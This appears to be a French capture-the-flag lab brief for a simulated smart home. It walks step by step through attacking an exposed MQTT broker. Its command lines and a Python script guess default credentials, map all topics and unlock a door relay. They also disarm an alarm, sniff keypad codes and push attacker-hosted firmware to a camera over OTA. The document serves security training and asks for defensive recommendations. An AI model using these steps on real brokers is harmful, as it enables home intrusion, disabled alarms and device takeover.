Lab - Smart Home Takeover

challenge

Lab: Smart Home Takeover

Engagement red team contre une maison connectée. Vous avez identifié un broker MQTT accessible sur Internet. Votre mission : prendre le contrôle des devices, récupérer le flag ESPILON{...}, remettre un rapport.

Avertissement légal : lab fourni par la plateforme uniquement.

Cible

  • Broker : lab-broker.cybertrainer.local:1883 et :8883
  • Devices simulés : Shellies, Tasmota, caméra MQTT, panneau d'alarme
  • Format flag : ESPILON{...} sur un topic privé après chaîne d'actions

Étape 1 — Reconnaissance

mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
  -t '$SYS/broker/version' -C 1

Notez la version du broker. Énumérez ensuite la surface :

mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
  -t '$SYS/#' -v -W 5

Si anonyme refusé : testez admin/admin, mqtt/mqtt, homeassistant/homeassistant.

Étape 2 — Cartographie

mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
  -u <user> -P <pass> \
  -t '#' -v | tee map.log

Repérez : - shellies/<id>/relay/0/command - tele/<dev>/STATE - home/alarm/status - home/safe/+ (rare) - private/owner/notes

Étape 3 — Manipulation des relais

Le relais contenant door ou lock dans son nom = serrure :

mosquitto_pub -h lab-broker.cybertrainer.local -p 1883 \
  -u <user> -P <pass> \
  -t 'shellies/shelly1-LOCK01/relay/0/command' \
  -m 'on'

Une porte connectée mal segmentée se déverrouille en un message.

Étape 4 — Neutralisation de l'alarme

import paho.mqtt.client as mqtt
import json

client = mqtt.Client()
client.username_pw_set("<user>", "<pass>")
client.connect("lab-broker.cybertrainer.local", 1883)

client.publish("home/alarm/set",
               json.dumps({"action": "disarm", "code": "0000"}),
               qos=1, retain=False)
client.loop(timeout=2)

Si code par défaut ne fonctionne pas : écoutez home/alarm/keypad pendant qu'un utilisateur entre son code.

Étape 5 — Pivot via OTA

python3 -m http.server 8080 &

mosquitto_pub -h lab-broker.cybertrainer.local -p 1883 \
  -u <user> -P <pass> \
  -t 'cam/livingroom/ota' \
  -m '{"url":"http://<votre-ip>:8080/fw.bin","md5":"<hash>"}'

Une fois le firmware accepté, la caméra publie sur cam/livingroom/debug des credentials élevés.

Étape 6 — Récupération du flag

mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
  -u <user_eleve> -P <pass_eleve> \
  -t 'home/safe/contents' -v

mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
  -u <user_eleve> -P <pass_eleve> \
  -t '#' -v -W 3 | grep ESPILON

Livrables

  1. Le flag ESPILON{...}
  2. La liste des credentials trouvés
  3. La chaîne d'attaque en 5 lignes
  4. Trois recommandations défensives (ACL, mTLS, monitoring)

Bon engagement.